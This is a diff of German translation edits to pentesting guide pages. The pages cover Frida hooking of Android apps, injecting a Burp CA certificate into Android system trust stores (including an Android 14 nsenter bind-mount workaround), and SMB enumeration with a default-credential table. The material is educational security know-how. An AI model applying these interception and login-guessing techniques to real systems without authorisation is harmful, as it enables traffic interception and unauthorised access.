 **Quellcode**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
 
-**Folge dem [Link, um es zu lesen](frida-tutorial-1.md).**
+**Folge dem [Link zum Lesen](frida-tutorial-1.md).**
 
 ### [Tutorial 2](frida-tutorial-2.md)
 
-**Von**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
+**Quelle**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
 **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
 
-**Folge dem [Link, um es zu lesen.](frida-tutorial-2.md)**
+**Folge dem[ Link zum Lesen.](frida-tutorial-2.md)**
 
 ### [Tutorial 3](owaspuncrackable-1.md)
 
-**Von**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
+**Quelle**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
 **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
 
-**Folge dem [Link, um es zu lesen](owaspuncrackable-1.md).**
+**Folge dem [Link zum Lesen](owaspuncrackable-1.md).**
 
-**Du findest weitere Awesome Frida scripts hier:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**Weitere tolle Frida-Skripte findest du hier:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 
-## Schnelle Beispiele
+## Quick Examples
 
-### Frida von der Kommandozeile aufrufen
+### Calling Frida from command line
 ```bash
 frida-ps -U
 
@@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
 script.load()
 sys.stdin.read()
 ```
-### Hooking von Funktionen ohne Parameter
+### Hooking functions ohne Parameter
 
 Hook die Funktion `a()` der Klasse `sg.vantagepoint.a.c`
 ```javascript
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
 var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
 }
 ```
-### Hooking von Funktionen mit Parametern und Auslesen des Werts
+### Hooking von Funktionen mit Parametern und Abrufen des Werts
 
-Hooking einer decryption-Funktion. Gib die Eingabe aus, rufe die originale Funktion auf, decrypt die Eingabe und gib schließlich die Klartextdaten aus:
+Hooking einer Decryption-Funktion. Gib die Eingabe aus, rufe die Originalfunktion auf, entschlüssle die Eingabe und gib schließlich den Klartext aus:
 ```javascript
 function getString(data) {
 var ret = ""
@@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
 return ret //[B
 }
 ```
-### Hooking von Funktionen und Aufruf mit unserem Input
+### Hooking von Funktionen und deren Aufruf mit unserer Eingabe
 
-Hook eine Funktion, die einen string entgegennimmt, und rufe sie mit einem anderen string auf (aus [here](https://11x256.github.io/Frida-hooking-android-part-2/))
+Hook eine Funktion, die einen string empfängt, und rufe sie mit einem anderen string auf (von [here](https://11x256.github.io/Frida-hooking-android-part-2/))
 ```javascript
 var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
 
@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
 return ret
 }
 ```
-### Zugriff auf ein bereits erstelltes Objekt einer Klasse
+### Abrufen eines bereits erstellten Objekts einer Klasse
 
-Wenn du ein Attribut eines bereits erstellten Objekts extrahieren möchtest, kannst du Folgendes verwenden.
+Wenn du ein Attribut eines bereits erstellten Objekts extrahieren möchtest, kannst du das Folgende verwenden.
 
-In diesem Beispiel siehst du, wie man das Objekt der Klasse my_activity bekommt und die Funktion .secret() aufruft, die ein privates Attribut des Objekts ausgibt:
+In diesem Beispiel siehst du, wie man das Objekt der Klasse my_activity erhält und wie man die Funktion .secret() aufruft, die ein privates Attribut des Objekts ausgibt:
 ```javascript
 Java.choose("com.example.a11x256.frida_test.my_activity", {
 onMatch: function (instance) {
@@ -228,13 +228,13 @@ onComplete: function () {},
 ## Weitere Frida-Tutorials
 
 - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
-- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
+- [Teil 1 der Blogserie "Advanced Frida Usage": iOS-Verschlüsselungsbibliotheken](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
 
 
 ## Referenzen
 
-- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Frida Gadget documentation](https://frida.re/docs/gadget/)
-- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
+- [Aufbau eines reproduzierbaren Android Bug-Bounty-Labs: Emulator vs Magisk, Burp, Frida und Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Frida Gadget-Dokumentation](https://frida.re/docs/gadget/)
+- [Frida Releases (Server-Binaries)](https://github.com/frida/frida/releases)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md

@@ -5,7 +5,7 @@
 
 ## Systemweiter Proxy über ADB
 
-Konfiguriere einen globalen HTTP-Proxy, sodass alle Apps ihren Traffic über deinen Interceptor (Burp/mitmproxy) leiten:
+Konfiguriere einen globalen HTTP-Proxy, sodass sämtlicher App-Traffic durch deinen Interceptor (Burp/mitmproxy) geleitet wird:
 ```bash
 # Set proxy (device/emulator must reach your host IP)
 adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
 # Clear proxy
 adb shell settings put global http_proxy :0
 ```
-Tipp: Binde in Burp deinen Listener an 0.0.0.0, damit Geräte im LAN sich verbinden können (Proxy -> Options -> Proxy Listeners).
+Tipp: In Burp binde deinen Listener an 0.0.0.0, damit Geräte im LAN eine Verbindung herstellen können (Proxy -> Options -> Proxy Listeners).
 
-## In einer virtuellen Maschine
+## Auf einer virtuellen Maschine
 
-Zuerst musst du das DER-Zertifikat aus Burp herunterladen. Das geht unter _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
+Zuerst musst du das Der-Zertifikat von Burp herunterladen. Du kannst dies in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ tun.
 
 ![](<../../images/image (367).png>)
 
-**Exportiere das Zertifikat im DER-Format** und konvertiere es in ein Format, das **Android** verstehen kann. Beachte, dass du **um das Burp-Zertifikat auf der Android-Maschine im AVD zu konfigurieren**, diese Maschine **mit** der Option **`-writable-system`** **starten** musst.\
+**Export the certificate in Der format** und lass uns es in eine Form **transformieren**, die **Android** **verstehen** kann. Beachte, dass **um das Burp-Zertifikat auf der Android-Maschine in AVD zu konfigurieren** du diese Maschine **mit** der Option **`-writable-system`** **starten** musst.\
 Zum Beispiel kannst du sie so starten:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
 ```
-Dann, um **das Burp-Zertifikat zu konfigurieren**, führe Folgendes aus:
+Dann, um **burps certificate zu konfigurieren**, führe Folgendes aus:
 ```bash
 openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
 CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
 adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
 adb reboot #Now, reboot the machine
 ```
-Sobald die **machine finish rebooting** das System neu gestartet hat, wird das Burp-Zertifikat von ihm verwendet!
+Sobald die **Maschine den Neustart abgeschlossen hat**, wird das Burp-Zertifikat von ihr verwendet!
 
-## Using Magisc
+## Verwendung von Magisc
 
-Wenn du dein Gerät **mit Magisc gerootet** hast (vielleicht ein Emulator) und du die vorherigen **Schritte** zum Installieren des Burp-Zertifikats **nicht ausführen kannst**, weil das **Filesystem read-only** ist und du es nicht als schreibbar remounten kannst, gibt es eine andere Möglichkeit.
+Wenn Sie Ihr Gerät mit Magisc gerootet haben (vielleicht ein Emulator) und Sie die vorherigen **Schritte** zum Installieren des Burp-Zertifikats nicht **ausführen können**, weil das **Dateisystem read-only** ist und Sie es nicht als schreibbar remounten können, gibt es einen anderen Weg.
 
-Erklärt in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) musst du:
+Erklärt in [**diesem Video**](https://www.youtube.com/watch?v=qQicUW0svB8) müssen Sie:
 
-1. **Install a CA certificate**: Ziehe per **drag&drop** das DER Burp-Zertifikat und **ändere die Erweiterung** zu `.crt`, sodass es im mobilen Gerät im Downloads-Ordner gespeichert wird, und gehe zu `Install a certificate` -> `CA certificate`
+1. **Install a CA certificate**: Ziehen Sie einfach das DER Burp-Zertifikat per Drag&Drop auf das Mobilgerät, ändern Sie die Erweiterung zu `.crt`, sodass es im Downloads-Ordner gespeichert wird, und gehen Sie zu `Install a certificate` -> `CA certificate`
 
 <figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
 
-- Prüfe, dass das Zertifikat korrekt gespeichert wurde, indem du zu `Trusted credentials` -> `USER` gehst
+- Überprüfen Sie, dass das Zertifikat korrekt gespeichert wurde, indem Sie zu `Trusted credentials` -> `USER` gehen
 
 <figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
 
-2. **Make it System trusted**: Lade das Magisc-Modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (eine .zip-Datei) herunter, **drag&drop** es auf das Telefon, öffne die Magics-App auf dem Telefon im Bereich `Modules`, klicke auf `Install from storage`, wähle das `.zip`-Modul aus und starte das Telefon nach der Installation **neu**:
+2. **Make it System trusted**: Laden Sie das Magisc-Modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (eine .zip-Datei) herunter, ziehen Sie es per Drag&Drop aufs Telefon, öffnen Sie die Magics-App auf dem Telefon und gehen Sie in den **`Modules`**-Bereich, klicken Sie auf **`Install from storage`**, wählen Sie das `.zip`-Modul aus und starten Sie nach der Installation das Telefon **neu**:
 
 <figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
 
-- Nach dem Neustart gehe zu `Trusted credentials` -> `SYSTEM` und überprüfe, ob das Postswigger-Zertifikat vorhanden ist
+- Nach dem Neustart gehen Sie zu `Trusted credentials` -> `SYSTEM` und überprüfen, ob das Postswigger-Zertifikat dort vorhanden ist
 
 <figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
 
-### Learn how to create a Magisc module
+### Lernen, wie man ein Magisc-Modul erstellt
 
-Sieh dir an: [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+Siehe [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
 
-## Post Android 14
+## Nach Android 14
 
-In der neuesten Android-14-Version wurde ein signifikanter Wandel in der Handhabung system-trusteter Certificate Authority (CA)-Zertifikate beobachtet. Früher wurden diese Zertifikate in **`/system/etc/security/cacerts/`** abgelegt, was für Benutzer mit Root-Rechten zugänglich und änderbar war und eine sofortige Anwendung im gesamten System ermöglichte. Mit Android 14 wurde der Speicherort jedoch nach **`/apex/com.android.conscrypt/cacerts`** verschoben, einem Verzeichnis innerhalb des **`/apex`**-Pfads, das von Natur aus immutable ist.
+In der neuesten Android-14-Version wurde eine bedeutende Änderung im Umgang mit system-trusteten Certificate Authority (CA)-Zertifikaten festgestellt. Früher wurden diese Zertifikate in **`/system/etc/security/cacerts/`** abgelegt, waren mit Root-Rechten zugänglich und modifizierbar, wodurch sie sofort systemweit angewendet wurden. Mit Android 14 wurde der Speicherort jedoch nach **`/apex/com.android.conscrypt/cacerts`** verschoben, ein Verzeichnis innerhalb des **`/apex`**-Pfads, das von Natur aus unveränderlich ist.
 
-Versuche, den **APEX cacerts path** als schreibbar zu remounten, schlagen fehl, da das System solche Operationen nicht zulässt. Selbst Versuche, das Verzeichnis zu unmounten oder mit einem temporären Dateisystem (tmpfs) zu überlagern, umgehen die Unveränderlichkeit nicht; Anwendungen greifen weiterhin auf die ursprünglichen Zertifikatdaten zu, unabhängig von Änderungen auf Dateisystemebene. Diese Belastbarkeit liegt daran, dass der **`/apex`**-Mount mit PRIVATE propagation konfiguriert ist, wodurch Änderungen innerhalb des **`/apex`**-Verzeichnisses andere Prozesse nicht beeinflussen.
+Versuche, den **APEX cacerts path** als schreibbar zu remounten, schlagen fehl, da das System solche Operationen nicht zulässt. Selbst Versuche, das Verzeichnis zu unmounten oder mit einem temporären Dateisystem (tmpfs) zu überlagern, umgehen die Unveränderlichkeit nicht; Anwendungen greifen weiterhin auf die ursprünglichen Zertifikatsdaten zu, unabhängig von Änderungen auf Dateisystemebene. Diese Robustheit ergibt sich daraus, dass das **`/apex`**-Mount mit PRIVATE propagation konfiguriert ist, wodurch Änderungen innerhalb des **`/apex`**-Verzeichnisses andere Prozesse nicht beeinflussen.
 
-Die Initialisierung von Android beinhaltet den `init`-Prozess, der beim Start des Betriebssystems auch den Zygote-Prozess startet. Dieser Prozess ist dafür verantwortlich, Anwendungsprozesse mit einem neuen Mount-Namespace zu starten, der einen privaten **`/apex`**-Mount enthält und somit Änderungen an diesem Verzeichnis von anderen Prozessen isoliert.
+Die Initialisierung von Android umfasst den `init`-Prozess, der beim Start des Betriebssystems auch den Zygote-Prozess startet. Dieser Prozess ist dafür verantwortlich, Anwendungsprozesse mit einem neuen mount namespace zu starten, der ein privates **`/apex`**-Mount enthält und somit Änderungen an diesem Verzeichnis von anderen Prozessen isoliert.
 
-Dennoch existiert ein Workaround für diejenigen, die die system-trusteten CA-Zertifikate im **`/apex`**-Verzeichnis ändern müssen. Dieser besteht darin, **`/apex`** manuell so zu remounten, dass die PRIVATE propagation entfernt wird, und es damit schreibbar zu machen. Der Prozess umfasst das Kopieren des Inhalts von **`/apex/com.android.conscrypt`** an einen anderen Ort, das Unmounten des Verzeichnisses **`/apex/com.android.conscrypt`**, um die Read-only-Einschränkung zu beseitigen, und anschließend das Wiederherstellen des Inhalts an seinem ursprünglichen Ort innerhalb von **`/apex`**. Dieser Ansatz erfordert schnelles Handeln, um Systemabstürze zu vermeiden. Um eine systemweite Anwendung dieser Änderungen sicherzustellen, wird empfohlen, den `system_server` neu zu starten, was effektiv alle Anwendungen neu startet und das System in einen konsistenten Zustand bringt.
+Nichtsdestotrotz gibt es einen Workaround für diejenigen, die die system-trusteten CA-Zertifikate innerhalb des **`/apex`**-Verzeichnisses ändern müssen. Dies beinhaltet das manuelle Remounten von **`/apex`**, um die PRIVATE propagation zu entfernen und es dadurch schreibbar zu machen. Der Prozess umfasst das Kopieren des Inhalts von **`/apex/com.android.conscrypt`** an einen anderen Ort, das Unmounten des Verzeichnisses **`/apex/com.android.conscrypt`**, um die Read-Only-Einschränkung zu beseitigen, und anschließend das Wiederherstellen des Inhalts an seinen ursprünglichen Ort innerhalb von **`/apex`**. Dieser Ansatz erfordert schnelles Handeln, um Systemabstürze zu vermeiden. Um sicherzustellen, dass diese Änderungen systemweit angewendet werden, wird empfohlen, den system_server neu zu starten, was effektiv alle Anwendungen neu startet und das System in einen konsistenten Zustand bringt.
 ```bash
 # Create a separate temp directory, to hold the current certificates
 # Otherwise, when we add the mount we can't read the current certs anymore.
@@ -133,22 +133,22 @@ echo "System certificate injected"
 ```
 ### Bind-mounting through NSEnter
 
-1. **Einrichten eines beschreibbaren Verzeichnisses**: Zunächst wird ein beschreibbares Verzeichnis eingerichtet, indem ein `tmpfs` über das bestehende non-APEX System-Zertifikatsverzeichnis gemountet wird. Dies wird mit dem folgenden Befehl erreicht:
+1. **Ein beschreibbares Verzeichnis einrichten**: Zunächst wird ein beschreibbares Verzeichnis erstellt, indem ein `tmpfs` über das bestehende non-APEX System-Zertifikat-Verzeichnis gemountet wird. Dies geschieht mit dem folgenden Befehl:
 ```bash
 mount -t tmpfs tmpfs /system/etc/security/cacerts
 ```
-2. **Vorbereiten der CA-Zertifikate**: Nachdem das beschreibbare Verzeichnis eingerichtet wurde, sollten die CA-Zertifikate, die verwendet werden sollen, in dieses Verzeichnis kopiert werden. Dies kann das Kopieren der Standardzertifikate aus `/apex/com.android.conscrypt/cacerts/` beinhalten. Es ist wichtig, die Berechtigungen und SELinux-Labels dieser Zertifikate entsprechend anzupassen.
-3. **Bind-Mounting für Zygote**: Mit `nsenter` tritt man in das Mount-Namespace von Zygote ein. Zygote, der Prozess, der für das Starten von Android-Anwendungen verantwortlich ist, erfordert diesen Schritt, um sicherzustellen, dass alle künftig gestarteten Anwendungen die neu konfigurierten CA-Zertifikate verwenden. Der verwendete Befehl lautet:
+2. **Vorbereiten der CA-Zertifikate**: Nach dem Anlegen des beschreibbaren Verzeichnisses sollten die CA-Zertifikate, die verwendet werden sollen, in dieses Verzeichnis kopiert werden. Das kann das Kopieren der Standardzertifikate aus `/apex/com.android.conscrypt/cacerts/` beinhalten. Es ist wichtig, die Berechtigungen und SELinux-Labels dieser Zertifikate entsprechend anzupassen.  
+3. **Bind Mounting for Zygote**: Unter Verwendung von `nsenter` betritt man den Mount-Namespace von Zygote. Zygote, der Prozess, der für das Starten von Android-Anwendungen verantwortlich ist, erfordert diesen Schritt, um sicherzustellen, dass alle anschließend gestarteten Anwendungen die neu konfigurierten CA-Zertifikate verwenden. Der verwendete Befehl ist:
 ```bash
 nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-Dies stellt sicher, dass jede neu gestartete App die aktualisierte CA certificates-Einrichtung verwendet.
+Dies stellt sicher, dass jede neu gestartete App dem aktualisierten CA certificates-Setup folgt.
 
-4. **Änderungen auf bereits laufende Apps anwenden**: Um die Änderungen auf bereits laufende Anwendungen anzuwenden, wird erneut `nsenter` verwendet, um in den Namespace jeder App einzeln zu wechseln und einen ähnlichen bind mount durchzuführen. Der notwendige Befehl lautet:
+4. **Änderungen auf bereits laufende Apps anwenden**: Um die Änderungen auf bereits laufende Anwendungen anzuwenden, wird `nsenter` erneut verwendet, um einzeln in den Namespace jeder App zu wechseln und ein ähnliches bind mount durchzuführen. Der erforderliche Befehl lautet:
 ```bash
 nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
 ```
-5. **Alternative Vorgehensweise - Soft Reboot**: Eine alternative Methode besteht darin, den bind mount am `init`-Prozess (PID 1) durchzuführen, gefolgt von einem Soft Reboot des Betriebssystems mit den Befehlen `stop && start`. Dieser Ansatz würde die Änderungen auf alle Namespaces übertragen und die Notwendigkeit vermeiden, jede laufende App einzeln zu adressieren. Diese Methode wird jedoch allgemein weniger bevorzugt, da der Neustart unpraktisch ist.
+5. **Alternative Approach - Soft Reboot**: Eine alternative Methode besteht darin, das bind mount am `init` Prozess (PID 1) durchzuführen, gefolgt von einem Soft Reboot des Betriebssystems mit den `stop && start` Befehlen. Dieser Ansatz würde die Änderungen über alle namespaces hinweg propagieren und erspart es, jede laufende App einzeln zu adressieren. Allerdings ist diese Methode im Allgemeinen weniger bevorzugt, da das Rebooten unpraktisch ist.
 
 ## Referenzen
 

src/network-services-pentesting/pentesting-smb/README.md

@@ -4,43 +4,44 @@
 
 ## **Port 139**
 
-Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) ermöglicht, mit Netzwerkausrüstung zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifikation und Lokalisierung von Softwareanwendungen in einem NetBIOS-Netzwerk erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und häufig vom Computernamen abweichen. Eine NetBIOS-Session zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als client agierend) einen Befehl ausgibt, um eine andere Anwendung (als server agierend) zu "callen", wobei **TCP Port 139** verwendet wird.
+Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) die Interaktion mit Netzwerkhardware zu ermöglichen und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifikation und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Session zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client fungierend) einen Befehl ausgibt, um eine andere Anwendung (als Server fungierend) "aufzurufen", wobei **TCP Port 139** verwendet wird.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
 ## Port 445
 
-Technisch wird Port 139 als ‘NBT over IP’ bezeichnet, während Port 445 als ‘SMB over IP’ identifiziert wird. Das Akronym **SMB** steht für ‘**Server Message Blocks**’, das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Protokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um gemeinsamen Zugriff auf Dateien, Drucker und serielle Anschlüsse zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu unterstützen.
+Technisch wird Port 139 als ‘NBT over IP’ bezeichnet, während Port 445 als ‘SMB over IP’ identifiziert wird. Das Akronym **SMB** steht für ‘**Server Message Blocks**’, das auch heute als **Common Internet File System (CIFS)** bekannt ist. Als Protokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um gemeinsamen Zugriff auf Dateien, Drucker und serielle Schnittstellen zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu unterstützen.
 
-Beispielsweise wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS over TCP/IP durch die Nutzung von Port 445 entfällt. Umgekehrt wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB zusammen mit NetBIOS over TCP/IP ausgeführt wird.
+Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP laufen kann und damit NetBIOS over TCP/IP nicht erforderlich ist, wenn Port 445 verwendet wird. Auf anderen Systemen wird hingegen Port 139 verwendet, was darauf hinweist, dass SMB zusammen mit NetBIOS over TCP/IP ausgeführt wird.
 ```
 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
 ```
 ### SMB
 
-Das **Server Message Block (SMB)** Protokoll, das im **client-server**-Modell arbeitet, ist dafür ausgelegt, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Vorwiegend innerhalb der **Windows**-Betriebssystemreihe verwendet, gewährleistet SMB Abwärtskompatibilität, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit älteren Versionen interagieren können. Zudem bietet das **Samba**-Projekt eine Free-Software-Lösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und so plattformübergreifende Kommunikation über SMB erleichtert.
+Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, dient der Regelung des **Zugriffs auf Dateien**, Verzeichnisse und anderer Netzwerkressourcen wie Drucker und Router. Hauptsächlich innerhalb der **Windows**-Betriebssystemreihe genutzt, stellt SMB Abwärtskompatibilität sicher, sodass Geräte mit neueren Versionen von Microsofts Betriebssystem nahtlos mit solchen kommunizieren können, die ältere Versionen ausführen. Zusätzlich bietet das **Samba**-Projekt eine freie Softwarelösung, die die Implementierung von SMB auf **Linux**- und Unix-Systemen ermöglicht und damit plattformübergreifende Kommunikation über SMB erleichtert.
 
-Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden und machen die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar. Die **Access Control Lists (ACLs)**, die die **Zugriffsrechte** definieren, erlauben eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attributen wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen zugewiesen werden, bezogen auf die Shares, und unterscheiden sich von den lokal auf dem Server gesetzten Berechtigungen.
+Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die die **Zugriffsrechte** definieren, erlauben eine **feingranulare Kontrolle** über Benutzerberechtigungen, einschließlich Attributen wie **`execute`**, **`read`** und **`full access`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen basierend auf den Shares zugewiesen werden und unterscheiden sich von den lokal auf dem Server gesetzten Berechtigungen.
 
 ### IPC$ Share
 
-Zugriff auf die IPC$ Share kann über eine anonyme null session erlangt werden, wodurch Interaktion mit Diensten möglich ist, die über named pipes exponiert werden. Das Hilfsprogramm `enum4linux` ist hierfür nützlich. Richtig eingesetzt ermöglicht es die Beschaffung von:
+Zugriff auf die IPC$ Share kann über eine anonyme Null-Session erlangt werden, wodurch die Interaktion mit über named pipes exponierten Diensten möglich wird. Das Tool `enum4linux` ist hierfür nützlich. Richtig eingesetzt ermöglicht es die Beschaffung von:
 
-- Informationen zum Betriebssystem
+- Informationen über das Betriebssystem
 - Details zur übergeordneten Domain
 - Eine Aufstellung lokaler Benutzer und Gruppen
-- Informationen über verfügbare SMB-Shares
-- Die effektive Systemsicherheitsrichtlinie
+- Informationen zu verfügbaren SMB shares
+- Der effektiven System-Sicherheitsrichtlinie
 
-Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsexperten entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten im Netzwerk zu bewerten. `enum4linux` liefert eine umfassende Sicht auf die SMB-Umgebung des Zielsystems, die wesentlich ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß abgesichert sind.
+Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsfachleute entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Einblick in die SMB-Umgebung des Zielsystems, was essenziell ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß abgesichert sind.
 ```bash
 enum4linux -a target_ip
 ```
-Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
+Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden könnte, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist.
 
 ## Was ist NTLM
 
-Wenn du nicht weißt, was NTLM ist, oder erfahren möchtest, wie es funktioniert und wie man es ausnutzen kann, findest du diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie du es ausnutzen kannst:**
+Wenn du nicht weißt, was NTLM ist oder wissen möchtest, wie es funktioniert und wie man es missbrauchen kann, findest du diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie du es zu deinem Vorteil nutzen kannst:**
+
 
 {{#ref}}
 ../../windows-hardening/ntlm/
@@ -48,13 +49,13 @@ Wenn du nicht weißt, was NTLM ist, oder erfahren möchtest, wie es funktioniert
 
 ## **Server Enumeration**
 
-### **Scan** eines Netzwerks, um nach Hosts zu suchen:
+### **Scan** ein Netzwerk nach Hosts:
 ```bash
 nbtscan -r 192.168.0.1/24
 ```
-### SMB-Serverversion
+### SMB-Server-Version
 
-Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht erscheint, kannst du:
+Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht angezeigt wird, kannst du:
 
 - Verwende das **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
 - Oder dieses Skript:
@@ -81,11 +82,11 @@ searchsploit microsoft smb
 ```
 ### **Mögliche** Anmeldedaten
 
-| **Benutzername(n)**  | **Gängige Passwörter**                    |
+| **Benutzername(n)**  | **Häufige Passwörter**                    |
 | -------------------- | ----------------------------------------- |
 | _(leer)_             | _(leer)_                                  |
-| guest                | _(leer)_                                  |
-| Administrator, admin | _(leer)_, password, administrator, admin  |
+| guest                | _(blank)_                                 |
+| Administrator, admin | _(blank)_, password, administrator, admin |
 | arcserve             | arcserve, backup                          |
 | tivoli, tmersrvd     | tivoli, tmersrvd, admin                   |
 | backupexec, backup   | backupexec, backup, arcada               |
@@ -121,7 +122,7 @@ rpcclient -U "username%passwd" <IP> #With creds
 ```
 ### Benutzer, Gruppen & angemeldete Benutzer auflisten
 
-Diese Informationen sollten bereits durch enum4linux und enum4linux-ng erfasst worden sein.
